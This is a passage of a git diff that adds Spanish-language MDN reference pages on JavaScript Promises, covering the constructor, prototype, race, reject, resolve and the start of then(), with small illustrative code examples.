+<p>Una <code>Promesa</code> se encuentra en uno de los siguientes estados:</p>
+
+<ul>
+ <li><em>pendiente (pending)</em>: estado inicial, no cumplida o rechazada.</li>
+ <li><em>cumplida (fulfilled)</em>: significa que la operación se completó satisfactoriamente.</li>
+ <li><em>rechazada (rejected)</em>: significa que la operación falló.</li>
+</ul>
+
+<p>Una promesa pendiente puede ser <em>cumplida</em> con un valor, o <em>rechazada</em> con una razón (error). Cuando cualquiera de estas dos opciones sucede, los métodos asociados, encolados por el método <em>then</em> de la promesa, son llamados. (Si la promesa ya ha sido cumplida o rechazada en el momento que es anexado su correspondiente manejador, el manejador será llamado, de tal manera que no exista una condición de carrera entre la operación asíncrona siendo completada y los manejadores siendo anexados)</p>
+
+<p>Como los métodos <code>{{jsxref("Promise.then", "Promise.prototype.then()")}}</code> y <code>{{jsxref("Promise.catch", "Promise.prototype.catch()")}}</code> retornan promesas, éstas pueden ser encadenadas.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p>
+
+<div class="note">
+<p><strong>No confundir con:</strong> Varios lenguajes tienen mecanismos para evaluar perezosamente y postergar una computación, a los que también les llaman "promesas" - p.ej.: Scheme. Las promesas en JavaScript representan procesos que ya están sucediendo, y pueden ser encadenados con funciones callback. Si lo que se busca es evaluar perezosamente una expresión, se debe considerar la función <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">flecha </a> (arrow function) sin argumentos: <code>f = () =&gt; <em>expresión</em></code> para crear la expresión evaluada perezosamente, y <code>f()</code> para evaluar.</p>
+</div>
+
+<div class="note" id="settledNote">
+<p><strong>Nota</strong>: Una promesa se dice que está <em>determinada (settled)</em> si se ha cumplido o si se ha rechazado, pero no está pendiente. Con promesas también se usa el término <em>resuelta</em> — esto significa que la promesa está determinada, o que se encuentra bloqueada dentro de una cadena de promesas. <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">States and fates</a> de Domenic Denicola contiene mas detalles sobre la terminología de las promesas.</p>
+</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>Propiedad longitud cuyo valor es siempre 1 (numero de argumentos del constructor).</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd>Representa el prototipo del constructor <code>Promise</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd>Devuelve una de dos promesas: una que se cumple cuando todas las promesas en el argumento iterable han sido cumplidas, o una que se rechaza tan pronto como una de las promesas del argumento iterable es rechazada. Si la promesa retornada es cumplida, lo hace con un arreglo de los valores de las promesas cumplidas en el mismo orden definido en el iterable. Si la promesa retornada es rechazada, es rechazada con la razón de la primera promesa rechazada en el iterable. Este método puede ser útil para agregar resultados de múltiples promesas</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd>Devuelve una promesa que se cumple o rechaza tan pronto como una de las promesas del iterable se cumple o rechaza, con el valor o razón de esa promesa.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject", "Promise.reject(reason)")}}</dt>
+ <dd>Devuelve un objeto <code>Promise</code> que es rechazado con la razón dada.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve", "Promise.resolve(value)")}}</dt>
+ <dd>Devuelve un objeto <code>Promise</code> que es resuelto con el valor dado. Si el valor es un <em>thenable</em> (p.ej. tiene un método <code>then</code>), la promesa devuelta "seguirá" este thenable, adoptando su eventual estado; de lo contrario la promesa devuelta será cumplida con el valor. Generalmente, si se quiere saber si un valor es una promesa o no, se podría usar - {{jsxref("Promise.resolve", "Promise.resolve(value)")}} y trabajar con el valor devuelto como una promesa.</dd>
+</dl>
+
+<h2 id="Prototipo_Promise">Prototipo <code>Promise</code></h2>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Properties')}}</p>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Methods')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Súper_simple_¡10_líneas!">Súper simple (¡10 líneas!)</h3>
+
+<pre class="brush: js notranslate"><code>let miPrimeraPromise = new Promise((resolve, reject) =&gt; {
+  // Llamamos a resolve(...) cuando lo que estabamos haciendo finaliza con éxito, y reject(...) cuando falla.
+  // En este ejemplo, usamos setTimeout(...) para simular código asíncrono.
+  // En la vida real, probablemente uses algo como XHR o una API HTML5.
+  setTimeout(function(){
+    resolve("¡Éxito!"); // ¡Todo salió bien!
+  }, 250);
+});
+
+miPrimeraPromise.then((successMessage) =&gt; {
+  // succesMessage es lo que sea que pasamos en la función resolve(...) de arriba.
+  // No tiene por qué ser un string, pero si solo es un mensaje de éxito, probablemente lo sea.
+  console.log("¡Sí! " + successMessage);
+});</code></pre>
+
+<h3 id="Creando_una_Promise">Creando una Promise</h3>
+
+<p>Este pequeño ejemplo muestra el mecanismo de una <code>Promise</code>. El método <code>testPromise()</code> se llama cada vez que se pulsa el {{HTMLElement("button")}}. Esto crea una promesa que se cumplirá, aplicando {{domxref("window.setTimeout()")}}, al contador de la promesa (partiendo desde 1) aleatoriamente cada 1-3 segundos. El constructor de la Promise() es usado para crear dicha promesa.</p>
+
+<p>El cumplimiento de la promesa simplemente se registra, a través de una llamada de retorno al cumplirse utilizando {{jsxref("Promise.prototype.then()","p1.then()")}}. A los pocos registros muestra cómo la parte síncrona del método se desacopla de la finalización asíncrona de la promesa.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+  var thisPromiseCount = ++promiseCount;
+
+  var log = document.getElementById('log');
+  log.insertAdjacentHTML('beforeend', thisPromiseCount +
+    ') Comenzó (&lt;small&gt;Comenzó el código sincrónico&lt;/small&gt;)&lt;br/&gt;');
+
+  // Hacemos una promesa: prometemos un contador numérico de esta promesa,
+  // empezando por 1 (después de esperar 3s)
+  var p1 = new Promise(
+    // La función resolvedora es llamada con la
+    // habilidad de resolver o rechazar la promesa
+    function(resolve, reject) {
+      log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Comenzó la promesa (&lt;small&gt;Código asíncrono comenzó&lt;/small&gt;)&lt;br/&gt;');
+
+      // Esto es solo un ejemplo para crear asincronismo
+      window.setTimeout(
+        function() {
+          // ¡Cumplimos la promesa!
+          resolve(thisPromiseCount);
+        }, Math.random() * 2000 + 1000);
+    }
+  );
+
+  // Definimos qué hacer cuando la promesa es resuelta/cumplida con la llamada
+  // al método then(). La llamada al método catch() define qué hacer si
+  // la promesa es rechazada
+  p1.then(
+    // Registrar el valor de la promesa cumplida
+    function(val) {
+      log.insertAdjacentHTML('beforeend', val +
+        ') Promesa cumplida (&lt;small&gt;Código asíncrono terminado.&lt;/small&gt;)&lt;br/&gt;');
+    })
+  .catch(
+    // Registrar la razón del rechazo
+    function(reason) {
+      console.log('Manejar promesa rechazada ('+reason+') aquí.');
+    });
+
+  log.insertAdjacentHTML('beforeend', thisPromiseCount +
+    ') Promesa hecha (&lt;small&gt;Código síncrono terminado. &lt;/small&gt;)&lt;br/&gt;');
+}
+</pre>
+
+<pre class="brush:js hidden notranslate">if ("Promise" in window) {
+  var btn = document.getElementById("btn");
+  btn.addEventListener("click",testPromise);
+} else {
+  log = document.getElementById('log');
+  log.innerHTML = "El ejemplo en vivo no está disponible ya que tu navegador no soporta la interfaz &lt;code&gt;Promise&lt;code&gt;.";
+}
+</pre>
+
+<p>Este ejemplo es ejecutado cuando pulsas el botón. Necesitas un navegador que soporte <code>Promise</code>. Al pulsar el botón varias veces en un período corto de tiempo, verás las diferentes promesas siendo cumplidas una tras otra.</p>
+
+<p>{{EmbedLiveSample("Creando_una_Promise", "500", "200")}}</p>
+
+<h2 id="Cargando_una_imagen_con_XHR">Cargando una imagen con XHR</h2>
+
+<p>Otro ejemplo sencillo utilizando <code>Promise</code> y <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> para cargar una imagen está disponible en el repositorio <a href="https://github.com/mdn/js-examples/tree/master/promises-test">js-examples</a> de MDN en GitHub. También puedes <a href="https://mdn.github.io/js-examples/promises-test/">verlo en acción</a>. Cada paso está comentado y te permite seguir de cerca la arquitectura detrás de las Promesas y XHR.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat("javascript/promise")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/prototype/index.html
new file mode 100644
index 0000000000..c03fa64f5e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/prototype/index.html
@@ -0,0 +1,68 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/prototype
+tags:
+  - JavaScript
+  - Promesa
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Promise.prototype</strong></code> representa el prototipo del constructor de {{jsxref("Promise")}}</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las instancias de {{jsxref("Promise")}} heredan de {{jsxref("Promise.prototype")}}. Se puede usar el objeto prototipo del constructor para agregar propiedades o métodos a todas las instancias de <code>Promise</code>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>Retorna la función que creó el prototipo de una instancia. Esta es la función por defecto de {{jsxref("Promise")}}.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.catch", "Promise.prototype.catch(alRechazarse)")}}</dt>
+ <dd>Anexa a la promesa un callback manejador de rechazo, y retorna una nueva promesa que resuelve al valor de retorno del callback si es llamado, o de lo contrario a su valor de cumplimiento original si la promesa es cumplida.</dd>
+ <dt>{{jsxref("Promise.then", "Promise.prototype.then(alCumplirse, alRechazarse)")}}</dt>
+ <dd>Anexa a la promesa manejadores de cumplimiento y rechazo, y retorna una nueva promesa que resuelve al valor de retorno del manejador llamado, o a su valor de <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise#settledNote">determinación (settled)</a> original si la promesa no fue manejada (p.ej. si el manejador relevante <code>alCumplirse</code> o <code>alRechazarse</code> no es una función).</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat("javascript/promise","Promise.prototype")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/race/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/race/index.html
new file mode 100644
index 0000000000..f24be82a9c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/race/index.html
@@ -0,0 +1,112 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/race
+tags:
+  - ECMAScript2015
+  - ECMAScript6
+  - JavaScript
+  - Promesa
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Promise.race(iterable)</strong></code> retorna una promesa que se cumplirá o no tan pronto como una de las promesas del argumento iterable se cumpla o se rechace, con el valor o razón de rechazo de ésta.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>Promise.race(iterable)</var>;</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Un objeto iterable , como por ejemplo un {{jsxref("Array")}}. Vea <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>.</dd>
+</dl>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>Una {{jsxref("Promise")}} que se cumple o se rechaza tan pronto como una de las promesas dadas en el argumento iterable se cumple o se rechaza.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función <code>race</code> retorna una <code>Promise</code> que se comporta como tal. Se cumple o se rechaza, lo que suceda antes en alguno de sus argumentos (iterable).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Promise.race_–_ejemplos_con_setTimeout">Usando <code>Promise.race</code> – ejemplos con <code>setTimeout</code></h3>
+
+<pre class="brush: js">var p1 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(resolve, 500, "uno");
+});
+var p2 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(resolve, 100, "dos");
+});
+
+Promise.race([p1, p2]).then( value =&gt; {
+  console.log(value); // "dos"
+  // Ambas se resuelven, pero la p2 antes.
+});
+
+  // Ejemplo con un resolve y un reject en el mismo método race.
+var p3 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(resolve, 100, "tres");
+});
+var p4 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(reject, 500, "cuatro");
+});
+
+Promise.race([p3, p4]).then( value =&gt; {
+  console.log(value); // "tres"
+  // p3 es mas rápida, así que se resuelve el race
+}, reason =&gt; {
+  // No es llamado
+});
+
+var p5 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(resolve, 500, "cinoc");
+});
+var p6 = new Promise( (resolve, reject) =&gt; {
+    setTimeout(reject, 100, "seis");
+});
+
+Promise.race([p5, p6]).then( value =&gt; {
+  // No es llamado
+}, reason =&gt; {
+  console.log(reason); // "seis"
+  // p6 es mas rápida, así que se rechaza
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentar</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{Compat}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/reject/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/reject/index.html
new file mode 100644
index 0000000000..70505d7471
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/reject/index.html
@@ -0,0 +1,80 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/reject
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Promise.reject(reason)</strong></code> retorna un objeto <code>Promise</code> que es rechazado por la razón específicada.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-reject.html")}}</div>
+
+<p class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub.</span> <span title="">Si desea contribuir al proyecto de ejemplos interactivos, clone https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción.</span></span></p>
+
+<p class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub.</span> <span title="">Si desea contribuir al proyecto de ejemplos interactivos, clone https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción.</span></span></p>
+
+<p class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub.</span> <span title="">Si desea contribuir al proyecto de ejemplos interactivos, clone https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción.</span></span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>Promise.reject(reason)</var>;</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>reason</dt>
+ <dd>Razón por la cual esta {jsxref("Promise")}} fue rechazada.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un objeto {{jsxref("Promise")}} que es rechazado por la razón específicada.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función estática <code>Promise.reject</code> retorna un objecto {{jsxref("Promise")}} que es rechazado. Para fines de depuración y captura selectiva de error, se suele pasar por el parámetro <code>reason</code> un  <code>instanceof</code> {{jsxref("Error")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_estático_Promise.reject">Usando el método estático Promise.reject()</h3>
+
+<pre class="brush: js">Promise.reject(new Error('fail')).then(function() {
+  // no entra en esta función
+}, function(error) {
+  console.log(error); // Stacktrace
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://github.com/petkaantonov/bluebird#error-handling">Selective error catching using the BlueBird Promise library</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/resolve/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/resolve/index.html
new file mode 100644
index 0000000000..e91dc7b80d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/resolve/index.html
@@ -0,0 +1,150 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/resolve
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Promise
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Promise.resolve(value)</strong></code> retorna un objeto {{jsxref("Promise")}} que es resuelto con el valor dado. Si el valor es una <em>promise</em>, esa <em>promise </em>es devuelta; si el valor es un <em>thenable </em>(si tiene un {{jsxref("Promise.then", "método \"then\"")}}), el valor devuelto le seguirá a ese <em>thenable</em>, adoptando su estado; de otro modo la <em>promise</em> devuelta estará completada con el valor.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}</div>
+
+<p class="hidden">La fuente para esta demostración interactiva se encuentra en un repositorio de GitHub. Si te gustaría contribuir al proyecto de la demostración interactiva, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una <em>pull request</em>.</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="brush: js">Promise.resolve(value);
+Promise.resolve(promise);
+Promise.resolve(thenable);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Argumento por resolver por esta <code>Promise</code>. También puede ser una <code>Promise</code> o un <em>thenable</em> por resolver.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una {{jsxref("Promise")}} que es resuelta con el valor dado, o con la <em>promise </em>pasada como valor, si el valor era un objeto <em>promise</em>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función estática <code>Promise.resolve</code> retorna una <code>Promise</code> que es resuelta.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_el_método_estático_Promise.resolve">Utilizando el método estático <code>Promise.resolve</code></h3>
+
+<pre class="brush: js">Promise.resolve('Éxito').then(function(value) {
+  console.log(value); // "Éxito"
+}, function(value) {
+  // no es llamada
+});
+</pre>
+
+<h3 id="Resolviendo_un_arreglo">Resolviendo un arreglo</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});</pre>
+
+<h3 id="Resolviendo_otra_Promise">Resolviendo otra <code>Promise</code></h3>
+
+<pre class="brush: js">var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+  console.log('valor: ' + value);
+});
+console.log('original === cast ? ' + (original === cast));
+
+// registros, en orden:
+// original === cast ? true
+// valor: 33
+</pre>
+
+<p>El orden invertido de los registros se debe al hecho de que los <em>handler </em><code>then</code> sean llamados asíncronamente. Vea cómo funciona <code>then</code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then#Return_value">aquí</a>.</p>
+
+<h3 id="Resolviendo_thenables_y_arrojando_Errores">Resolviendo thenables y arrojando Errores</h3>
+
+<pre class="brush: js">// Resolviendo un objeto thenable
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill('¡Completada!'); }
+});
+console.log(p1 instanceof Promise) // true, objeto convertido en una Promise
+j
+p1.then(function(v) {
+    console.log(v); // "¡Completada!"
+  }, function(e) {
+    // no es llamada
+});
+
+// Thenable arroja antes del callback
+// Rechaza la Promise
+var thenable = { then: function(resolve) {
+  throw new TypeError('Arrojando');
+  resolve('Resolviendo');
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // no es llamada
+}, function(e) {
+  console.log(e); // TypeError: Arrojando
+});
+
+// Thenable arroja después del callback
+// Resuelve la Promise
+var thenable = { then: function(resolve) {
+  resolve('Resolviendo');
+  throw new TypeError('Arrojando');
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Resolviendo"
+}, function(e) {
+  // no es llamada
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial en un estándar de ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">Para contribuir a esta información de compatibilidad, porfavor haz una <em>pull request</em> contra este repositorio: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.resolve")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/then/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/then/index.html
new file mode 100644
index 0000000000..8998f3b180
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/then/index.html
@@ -0,0 +1,302 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/then
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Promise
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>then()</strong></code> retorna una {{domxref("Promesa")}}. Recibe dos argumentos: funciones callback  para los casos de éxito y fallo de <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code>.</p>
+
+<p>Nota: Si ambos argumentos son omitidos, o se proveen métodos que no sean funciones, se creará una nueva <code>Promesa</code> sin handlers adicionales, que simplemente adoptan el estado final de la <code>Promesa</code> que entonces es llamado. Si el primer argumento es omitido o se provee una no-función, el nuevo <code>Promise</code> que es creado simplemente adopta el  estado cumplido del <code>Promise</code> que entonces es llamado (si se convierte en fulfilled). Si el segundo argument es omitido o se provee una no-función, el nuevo <code>Promise</code> que es creado simplemente adopta  el estado de rechazo del <code>Promesa</code> que entonces es llamado (si se convierte en rechazado).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>p.then(alCumplir[, enRechazo])</var>;
+
+p.then(function(value) {
+   // cumplimiento
+  }, function(reason) {
+  // rechazo
+});
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Retorna un <code>Promise</code> el cual es determinado por las funciones input:</p>
+
+<ul>
+ <li>Si <font face="consolas, Liberation Mono, courier, monospace">alCumplir</font> o <code>enRechazo</code> arroja un error, o retorna un <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code> rechazado, <code>then</code> retorna un <code>Promise</code> rechazado.</li>
+ <li>Si <font face="consolas, Liberation Mono, courier, monospace">alCumplir</font> o <code>enRechazo</code> retorna un <code>Promise</code> que resuelve, o retorna cualquier otro valor, <code>then</code> retorna un <code>Promise </code>resuelto.</li>
+</ul>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace">alCumplir </font>{{optional_inline}}</dt>
+ <dd>Una <a href="es/docs/Web/JavaScript/Referencia/Objetos_globales/Function">Función</a> es llamada si la <code>Promesa</code> se cumple. Esta función tiene un argumento, el <code>valor de</code> cumplimiento. Si no es una función, se reemplaza internamente con una función de "Identidad"  (devuelve el argumento recibido).</dd>
+ <dt><code>enRechazo</code> {{optional_inline}}</dt>
